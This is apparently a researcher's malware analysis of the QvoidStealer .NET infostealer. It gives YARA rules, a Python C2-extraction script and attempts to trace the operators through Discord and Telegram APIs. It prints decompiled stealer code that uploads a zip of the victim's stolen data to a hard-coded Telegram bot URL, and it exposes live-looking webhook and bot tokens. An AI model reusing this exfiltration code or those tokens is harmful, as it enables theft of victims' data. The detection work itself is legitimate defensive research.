QvoidStealer
Lol what is up with these trash .NET stealers
Overview
This is an open source stealer (lol) that is being dropped along side Redline. We are going to take a quick look and build some yara rules and maybe a config extractor.
Samples
-
ef7bb2464a2b430aa98bd65a1a40b851b57cb909ac0aea3e53729c0ff900fa42
UnpacMe Analysis
References
Analysis
There is no config the config values are hard coded into the malware in the Settings
class.
// Token: 0x0400005B RID: 91
public static DiscordWebhook Webhook = new DiscordWebhook("https://discord.com/api/webhooks/1018147363531014255/uKi-k3i3zSVEkAUaQlsmJRCYATrY2kAsY06YGJ38v8lpW7BvMV3LdjJR8N1F18izeOoL");
// Token: 0x0400005C RID: 92
public static TelegramAPI Telegram = new TelegramAPI("%TELEGRAM_TOKEN_HERE%", 0UL);
// Token: 0x0400005D RID: 93
public static CryptoClipper Clipper = new CryptoClipper("BTC_ADDRESS_HERE_", "ETH_ADDRESS_HERE_", "DODGE_ADDRESS_HERE_", "LTC_ADDRESS_HERE_", "XMR_ADDRESS_HERE_", "DASH_ADDRESS_HERE_", "NEO_ADDRESS_HERE_", "XRP_ADDRESS_HERE_");
In addition to the "settings" there is also a hard coded telegram link in the Grabber
class, used to upload a zip of the stolen info.
{
MultipartFormDataContent multipartFormDataContent = new MultipartFormDataContent();
byte[] array3 = File.ReadAllBytes(text11);
multipartFormDataContent.Add(new ByteArrayContent(array3, 0, array3.Length), "Document".ToLower(), Environment.UserName + "-REPORT.zip");
httpClient.PostAsync("https://api.telegram.org/bot5782836382:AAHNuZVXqfrDOZvUuZDvx1SNqBnGmTN8Kio/sendDocument?chat_id=2024893777", multipartFormDataContent).Wait();
httpClient.Dispose();
}
Yara Rules
@dr4k0nia sent us this rule that will match on the silly anti-dumping features of the malware. She also poste this to GitHub.
import "dotnet"
rule msil_obf_antidump {
meta:
author = "dr4k0nia"
version = "1.0"
date = "12/03/2023"
hash = "ef7bb2464a2b430aa98bd65a1a40b851b57cb909ac0aea3e53729c0ff900fa42"
strings:
$import0 = "ZeroMemory"
$import1 = "VirtualProtect"
$importt2 = "GetCurrentProcess" // Managed import
$array0 = {1D 8D 9E 00 00 01 25 D0 67 00 00 04 28 CF 01 00 0A 80 84 00 00 04}
$array1 = {1F 0C 8D 9E 00 00 01 25 D0 65 00 00 04 28 CF 01 00 0A 80 86 00 00 04}
$array2 = {1F 1B 8D 9E 00 00 01 25 D0 66 00 00 04 28 CF 01 00 0A 80 87 00 00 04}
condition:
uint16(0) == 0x5a4d
and dotnet.is_dotnet
and all of($import*)
and all of($array*)
}
We also created this lame strings based rule
import "dotnet"
rule qvoidstealer {
strings:
$s1 = "Some retard who thinks he can reverse this application." ascii wide
$s2 = "QvoidStealer" wide
$m1 = "AntiDebug" wide
$m2 = "AntiEmulation" wide
$m3 = "AntiSandBoxie" wide
$m4 = "AntiVM" wide
$m5 = "AntiWebSniffers" wide
$m6 = "Clipper" wide
$m7 = "Webhook" wide
condition:
uint16(0) == 0x5a4d and
dotnet.is_dotnet and
(
1 of ($s*) or
all of ($m*)
)
}
import re
data = open('/tmp/what.bin', 'rb').read()
def unicode_strings(buf, n=4):
import re
ASCII_BYTE = b' !\"#\$%&\'\(\)\*\+,-\./0123456789:;<=>\?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}\\\~\t'
if type(buf) == str:
buf = buf.encode('utf-8')
reg = b'((?:[%s]\x00){%d,})' % (ASCII_BYTE, n)
uni_re = re.compile(reg)
out = []
for match in uni_re.finditer(buf):
try:
out.append(match.group().decode("utf-16"))
except UnicodeDecodeError:
pass
return out
strings = unicode_strings(data)
telegram_egg = r'https:\/\/api\.telegram\.org[^\?]*\?chat_id=[0-9]+'
discord_egg = r'https:\/\/discord\.com\/api\/webhooks\/[^\n]*'
c2s = []
for m in re.finditer(telegram_egg, ('\n').join(strings), re.DOTALL):
c2s.append(m.group())
for m in re.finditer(discord_egg, ('\n').join(strings), re.DOTALL):
c2s.append(m.group())
c2s
Notes
Discord De-Anonymization
Can we determin the discord server based on the the webhook?
https://discord.com/api/webhooks/1018147363531014255/uKi-k3i3zSVEkAUaQlsmJRCYATrY2kAsY06YGJ38v8lpW7BvMV3LdjJR8N1F18izeOoL
If we call the webhook the response is ....
{
"type": 1,
"id": "1018147363531014255",
"name": "Clown",
"avatar": null,
"channel_id": "1018147299177807935",
"guild_id": "1018147298502516836",
"application_id": null,
"token": "uKi-k3i3zSVEkAUaQlsmJRCYATrY2kAsY06YGJ38v8lpW7BvMV3LdjJR8N1F18izeOoL"
}
This site looks promising discordlookup but it didn't return anything.
We can also interrogate the snowflake using toolscord
Server Created: Saturday, September 10, 2022 at 9:13:52 AM EDT
Thomas also found this interesting endpoint to query https://discord.com/api/v9/users/@me/guilds/1018147298502516836/settings
{
"guild_id": "1018147298502516836",
"suppress_everyone": false,
"suppress_roles": false,
"mute_scheduled_events": false,
"message_notifications": 0,
"flags": 0,
"mobile_push": true,
"muted": false,
"mute_config": null,
"hide_muted_channels": false,
"channel_overrides": [
{
"channel_id": "885624530071085097",
"message_notifications": 3,
"muted": true,
"mute_config": {
"end_time": null,
"selected_time_window": -1
},
"collapsed": false
}
],
"notify_highlights": 0,
"version": 3642
}
Telegram De-Anonymization
What about getting the telegram channel from the bot chat id?
https://api.telegram.org/bot5782836382:AAHNuZVXqfrDOZvUuZDvx1SNqBnGmTN8Kio/sendDocument?chat_id=2024893777
We can try the getMe command to get more info but the bot seems to be dead.
https://api.telegram.org/bot5782836382:AAHNuZVXqfrDOZvUuZDvx1SNqBnGmTN8Kio/getMe